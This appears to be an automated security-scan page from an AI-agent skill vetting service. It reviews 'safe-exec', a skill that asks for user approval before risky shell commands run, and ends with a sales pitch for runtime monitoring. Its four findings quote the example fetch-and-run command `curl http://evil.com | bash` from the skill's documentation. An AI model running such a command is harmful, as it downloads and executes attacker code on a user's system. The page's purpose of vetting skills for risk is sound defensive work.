safe-exec
What this skill does
SafeExec is a command approval tool for OpenClaw Agents that intercepts potentially dangerous shell commands, performs risk assessments, and requires user approval before execution. It is designed to
github/leoyeai - Remote code execution - 2.1k stars
Threat analysis
Skill info
pkg:github/LeoYeAI/openclaw-master-skills@e5199b5?skill=safe-execAssessments (4)
Remote code execution
Remote code execution via local-llm-review
README.md
The README explicitly mentions that installing the tool might run `curl http://evil.com | bash`.Remote code execution via local-llm-review
README_EN.md
The README explicitly mentions that installing the tool might run `curl http://evil.com | bash`.Remote code execution via local-llm-review
README-detail.md
The README explicitly mentions that installing the tool might run `curl http://evil.com | bash`.Remote code execution via local-llm-review
SKILL.md
The SKILL.md explicitly mentions that the tool can execute dangerous commands like `curl | bash`.Badge
Add the Anomity scan badge for safe-exec to your README.
How Anomity governs this at runtime
Scan-time vetting tells you what a skill says it will do. Anomity's Endpoint Sensor sees what agents actually do: it discovers skills alongside every other AI artifact on the endpoint, and runtime governance can allow, deny, or log the tool calls a skill triggers. Policy violations route to your SIEM, Slack, email, or Jira, backed by a queryable 90-day audit trail.
Book a 30-minute demo to see your own skill inventory.
Methodology and disputes
Every skill is assessed by the Anomity Skill Intelligence engine against its public source; findings indicate risk patterns, not confirmed exploitation. Maintainer of safe-exec? Report an issue or request a rescan.
